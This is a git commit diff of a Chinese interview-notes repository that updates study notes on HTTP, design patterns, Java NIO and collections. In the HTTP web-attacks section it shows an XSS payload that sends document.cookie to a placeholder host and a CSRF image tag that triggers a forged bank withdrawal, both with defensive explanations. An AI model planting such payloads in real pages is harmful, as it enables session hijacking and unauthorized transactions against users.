Merge pull request #3 from CyC2018/master

update
This commit is contained in:
onefansofworld 2018-04-21 14:47:02 +08:00 committed by GitHub
commit 3e830fa0bb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
119 changed files with 4083 additions and 1834 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
*.txt

View File

@ -1,23 +1,28 @@
<!-- ![](https://img.shields.io/badge/update-today-blue.svg) ![](https://img.shields.io/badge/gitbook-making-lightgrey.svg)</br> -->
| | Ⅱ | Ⅲ | Ⅳ | | Ⅵ | Ⅶ | Ⅷ | Ⅸ | |
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
| 算法[:pencil2:](#算法-pencil2) | 操作系统[:computer:](#操作系统-computer)|网络[:cloud:](#网络-cloud) | 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
</br>
:loudspeaker: 本仓库的内容不涉及商业行为,不向读者收取任何费用。
:loudspeaker: 本仓库不参与商业行为,不向读者收取任何费用。
:loudspeaker: This repository is not involving commercial activities, and does not charge readers any fee.
:loudspeaker: This repository is not engaging in business activities, and does not charge readers any fee.
</br></br>
## 网络 :cloud:
## 算法 :pencil2:
> [计算机网络](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机网络.md)
整理自《计算机网络 第七版》,重点内容会在标题后面加 \*。
> [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
> [HTTP](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/HTTP.md)
《剑指 Offer 第二版》的最优解,在牛客网在线编程中出现的题目都已 AC。
整理自《图解 HTTP》
> [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
对题目做了一个分类,并对每种题型的解题思路做了总结。
> [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md)
整理自《算法 第四版》
## 操作系统 :computer:
@ -29,19 +34,17 @@
整理自《鸟哥的 Linux 私房菜》
## 数据结构与算法 :pencil2:
> [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md)
## 网络 :cloud:
整理自《算法 第四版》
> [计算机网络](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/计算机网络.md)
> [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
整理自《计算机网络 第七版》,重点内容会在标题后面加 \*。
《剑指 Offer 第二版》的最优解,在牛客网在线编程中出现的题目都已 AC。
> [HTTP](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/HTTP.md)
> [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
整理自《图解 HTTP》
对题目做了一个分类,并对每种题型的解题思路做了总结。
## 面向对象 :couple:
@ -109,7 +112,8 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
分布式事务、复杂均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
## 工具 :hammer:

View File

@ -5,8 +5,8 @@
* [请求和响应报文](#请求和响应报文)
* [二、HTTP 方法](#二http-方法)
* [GET](#get)
* [POST](#post)
* [HEAD](#head)
* [POST](#post)
* [PUT](#put)
* [PATCH](#patch)
* [DELETE](#delete)
@ -14,6 +14,7 @@
* [CONNECT](#connect)
* [TRACE](#trace)
* [三、HTTP 状态码](#三http-状态码)
* [1XX 信息](#1xx-信息)
* [2XX 成功](#2xx-成功)
* [3XX 重定向](#3xx-重定向)
* [4XX 客户端错误](#4xx-客户端错误)
@ -27,8 +28,9 @@
* [Cookie](#cookie)
* [缓存](#缓存)
* [持久连接](#持久连接)
* [管线化处理](#管线化处理)
* [编码](#编码)
* [分块传输](#分块传输)
* [分块传输编码](#分块传输编码)
* [多部分对象集合](#多部分对象集合)
* [范围请求](#范围请求)
* [内容协商](#内容协商)
@ -41,10 +43,16 @@
* [七、Web 攻击技术](#七web-攻击技术)
* [攻击模式](#攻击模式)
* [跨站脚本攻击](#跨站脚本攻击)
* [SQL 注入攻击](#sql-注入攻击)
* [跨站点请求伪造](#跨站点请求伪造)
* [SQL 注入攻击](#sql-注入攻击)
* [拒绝服务攻击](#拒绝服务攻击)
* [八、各版本比较](#八各版本比较)
* [八、GET 和 POST 的区别](#八get-和-post-的区别)
* [参数](#参数)
* [安全](#安全)
* [幂等性](#幂等性)
* [可缓存](#可缓存)
* [XMLHttpRequest](#xmlhttprequest)
* [九、各版本比较](#九各版本比较)
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
* [HTTP/1.1 与 HTTP/2.0 的区别](#http11-与-http20-的区别)
* [参考资料](#参考资料)
@ -89,28 +97,6 @@ URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基
当前网络请求中,绝大部分使用的是 GET 方法。
## POST
> 传输实体主体
POST 主要目的不是获取资源,而是传输存储在内容实体中的数据。
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP Header 和 Data 一并发送出去,服务器响应 200OK并返回数据。而使用 POST 方法,浏览器先发送 Header服务器响应 100Continue之后浏览器再发送 Data最后服务器响应 200OK并返回数据。
```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
```
```
POST /test/demo_form.asp HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
```
## HEAD
> 获取报文首部
@ -119,6 +105,14 @@ name1=value1&name2=value2
主要用于确认 URL 的有效性以及资源更新的日期时间等。
## POST
> 传输实体主体
POST 主要用来传输数据,而 GET 主要用来获取资源。
更多 POST 与 GET 的比较请见第八章。
## PUT
> 上传文件
@ -202,6 +196,10 @@ CONNECT www.example.com:443 HTTP/1.1
| 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 |
| 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 |
## 1XX 信息
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
## 2XX 成功
- **200 OK**
@ -424,15 +422,17 @@ Expires 字段也可以用于告知缓存服务器该资源什么时候会过期
持久连接需要使用 Connection 首部字段进行管理。HTTP/1.1 开始 HTTP 默认是持久化连接的,如果要断开 TCP 连接,需要由客户端或者服务器端提出断开,使用 Connection : close而在 HTTP/1.1 之前默认是非持久化连接的,如果要维持持续连接,需要使用 Connection : Keep-Alive。
**管线化方式** 可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
## 管线化处理
HTTP/1.1 支持管线化处理,可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
## 编码
编码Encoding主要是为了对实体进行压缩。常用的编码有gzip、compress、deflate、identity其中 identity 表示不执行压缩的编码格式。
## 分块传输
## 分块传输编码
分块传输Chunked Transfer Coding可以把数据分割成多块,让浏览器逐步显示页面。
Chunked Transfer Coding可以把数据分割成多块,让浏览器逐步显示页面。
## 多部分对象集合
@ -483,7 +483,9 @@ Content-Length: 1024
## 虚拟主机
使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
使用 Host 首部字段进行处理。
## 通信数据转发
@ -515,7 +517,7 @@ HTTP 有以下安全性问题:
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
3. 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
通过使用 SSLHTTPs 具有了加密、认证和完整性保护。
@ -523,23 +525,23 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信
## 加密
### 1. 对称密钥
### 1. 对称密钥加密
Symmetric-Key Encryption加密的加密和解密使用同一密钥。
对称密钥加密Symmetric-Key Encryption加密的加密和解密使用同一密钥。
- 优点:运算速度快;
- 缺点:密钥容易被获取。
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br>
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
### 2. 公开密钥
### 2. 公开密钥加密
Public-Key Encryption使用一对密钥用于加密和解密分别为公开密钥和私有密钥。公开密钥所有人都可以获得通信发送方获得接收方的公开密钥之后就可以使用公开密钥进行加密接收方收到通信内容后使用私有密钥解密。
公开密钥加密Public-Key Encryption,也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
- 优点:更为安全;
- 缺点:运算速度慢;
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br>
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
### 3. HTTPs 采用的加密方式
@ -551,7 +553,6 @@ HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称
通过使用 **证书** 来对通信方进行认证。
数字证书认证机构CACertificate Authority是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请CA 在判明提出申请者的身份之后,会对已申请的公开密钥做数字签名,然后分配这个已签名的公开密钥,并将该公开密钥放入公开密钥证书后绑定在一起。
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。
@ -574,13 +575,27 @@ SSL 提供报文摘要功能来验证完整性。
### 2. 被动攻击
设下圈套,让用户发送有攻击代码的 HTTP 请求,那么用户发送了该 HTTP 请求之后就会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
设下圈套,让用户发送有攻击代码的 HTTP 请求,用户会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
## 跨站脚本攻击
### 1. 概念
Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。
例如有一个论坛网站,攻击者可以在上面发表以下内容:
```
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
### 2. 危害
@ -609,6 +624,44 @@ SSL 提供报文摘要功能来验证完整性。
?>
```
## 跨站点请求伪造
### 1. 概念
跨站点请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
## SQL 注入攻击
### 1. 概念
@ -659,63 +712,109 @@ strSQL = "SELECT * FROM users;"
- 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。
- 使用 SQL 防注入系统。
## 跨站点请求伪造
### 1. 概念
Cross-site request forgeryXSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者可以在另一个网站上放置如下代码:&lt;img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
## 拒绝服务攻击
### 1. 概念
denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
# 八、各版本比较
# 八、GET 和 POST 的区别
## 参数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体中。
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
```
```
POST /test/demo_form.asp HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
```
## 安全
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变。
安全的方法除了 GET 之外还有HEAD、OPTIONS。
不安全的方法除了 POST 之外还有 PUT、DELETE。
## 幂等性
幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
```
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
```
POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
```
POST /add_row HTTP/1.1
POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row
```
DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
```
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted
DELETE /idX/delete HTTP/1.1 -> Returns 404
```
## 可缓存
如果要对响应进行缓存,需要满足以下条件:
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD但是 PUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。
2. 响应报文的状态码是可缓存的包括200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
## XMLHttpRequest
为了阐述 POST 和 GET 的另一个区别,需要先了解 XMLHttpRequest
> XMLHttpRequest 是一个 API它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做例如火狐就不会。
# 九、各版本比较
## HTTP/1.0 与 HTTP/1.1 的区别
HTTP/1.1 新增了以下内容:
1. HTTP/1.1 默认是持久连接
2. HTTP/1.1 支持管线化处理
3. HTTP/1.1 支持虚拟主机
4. HTTP/1.1 新增状态码 100
5. HTTP/1.1 支持分块传输编码
6. HTTP/1.1 新增缓存处理指令 max-age
- 默认为长连接;
- 提供了范围请求功能;
- 提供了虚拟主机的功能;
- 多了一些缓存处理字段;
- 多了一些状态码。
具体内容见上文
## HTTP/1.1 与 HTTP/2.0 的区别
> [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
### 1. 多路复用
HTTP/2.0 使用多路复用技术,使用同一个 TCP 连接来处理多个请求。
HTTP/2.0 使用多路复用技术,同一个 TCP 连接可以处理多个请求。
### 2. 首部压缩
@ -723,7 +822,7 @@ HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0
### 3. 服务端推送
在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 index.html 页面,服务端就把 index.js 一起发给客户端。
HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 index.html 页面,服务端就把 index.js 一起发给客户端。
### 4. 二进制格式
@ -731,7 +830,7 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
# 参考资料
- 上野宣. 图解 HTTP[M]. Ren min you dian chu ban she, 2014.
- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
@ -748,3 +847,8 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
- [Symmetric vs. Asymmetric Encryption What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)

View File

@ -44,11 +44,11 @@ java.awt.Desktop#getDesktop()
## 2. 简单工厂模式
在不对用户暴露对象内部逻辑的前提下创建对象;使用通用的接口来创建对象;
在不对用户暴露对象内部逻辑的前提下创建对象
## 3. 工厂方法模式
定义创建对象的接口,但是让子类来决定应该使用哪个类来创建;使用通用的接口来创建对象;
定义创建对象的接口,但是让子类来决定应该使用哪个类来创建
```java
java.lang.Proxy#newProxyInstance()
@ -120,7 +120,7 @@ javax.swing.Action
## 3. 解释器模式
为语言创建解释器,通常由语言的语法和语法分析来定义。
```java
java.util.Pattern
java.text.Normalizer
@ -229,7 +229,7 @@ JDBC
## 3. 组合模式
将对象组合成树形结构来表示整-部分层次关系,允许用户以相同的方式处理单独对象和组合对象。
将对象组合成树形结构来表示整-部分层次关系,允许用户以相同的方式处理单独对象和组合对象。
```java
javax.swing.JComponent#add(Component)

View File

@ -156,7 +156,7 @@ I/O 与 NIO 最重要的区别是数据打包和传输的方式I/O 以流的
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
一个面向块的 I/O 系统以块的形式处理数据,一次处理数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
一个面向块的 I/O 系统以块的形式处理数据,一次处理一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
@ -177,7 +177,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
### 2. 缓冲区
发送给一个通道的所有对象都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
@ -199,7 +199,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
状态变量的改变过程举例:
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0而 limit = capacity = 9。capacity 变量不会改变,下面的讨论会忽略它。
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>

File diff suppressed because it is too large Load Diff

View File

@ -5,17 +5,16 @@
* [二、容器中的设计模式](#二容器中的设计模式)
* [迭代器模式](#迭代器模式)
* [适配器模式](#适配器模式)
* [三、散列](#三散列)
* [四、源码分析](#四源码分析)
* [三、源码分析](#三源码分析)
* [ArrayList](#arraylist)
* [Vector](#vector)
* [LinkedList](#linkedlist)
* [LinkedHashMap](#linkedhashmap)
* [TreeMap](#treemap)
* [HashMap](#hashmap)
* [LinkedHashMap](#linkedhashmap)
* [ConcurrentHashMap - JDK 1.7](#concurrenthashmap---jdk-17)
* [ConcurrentHashMap - JDK 1.8](#concurrenthashmap---jdk-18)
* [五、参考资料](#参考资料)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -31,7 +30,7 @@
- HashSet基于哈希实现支持快速查找但不支持有序性操作例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
- TreeSet基于红黑树实现支持有序性操作但是查找效率不如 HashSetHashSet 查找时间复杂度为 O(1)TreeSet 则为 O(logn)
- TreeSet基于红黑树实现支持有序性操作但是查找效率不如 HashSetHashSet 查找时间复杂度为 O(1)TreeSet 则为 O(logN)
- LinkedHashSet具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
@ -41,13 +40,13 @@
- Vector和 ArrayList 类似,但它是线程安全的;
- LinkedList基于双向循环链表实现只能顺序访问但是可以快速地在链表中间插入和删除元素。不仅如此LinkedList 还可以用作栈、队列和双队列。
- LinkedList基于双向循环链表实现只能顺序访问但是可以快速地在链表中间插入和删除元素。不仅如此LinkedList 还可以用作栈、队列和双队列。
### 3. Queue
- LinkedList可以用它来支持双向队列
- PriorityQueue基于堆结构实现,可以用它来实现优先队列。
- PriorityQueue基于堆结构实现,可以用它来实现优先队列。
## Map
@ -80,8 +79,6 @@ for (String item : list) {
}
```
> [迭代器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E4%BA%8C%E8%BF%AD%E4%BB%A3%E5%99%A8%E6%A8%A1%E5%BC%8F)
## 适配器模式
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
@ -91,7 +88,7 @@ java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
public static <T> List<T> asList(T... a)
```
如果要将数组类型转换为 List 类型,应该注意的是参数列表为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
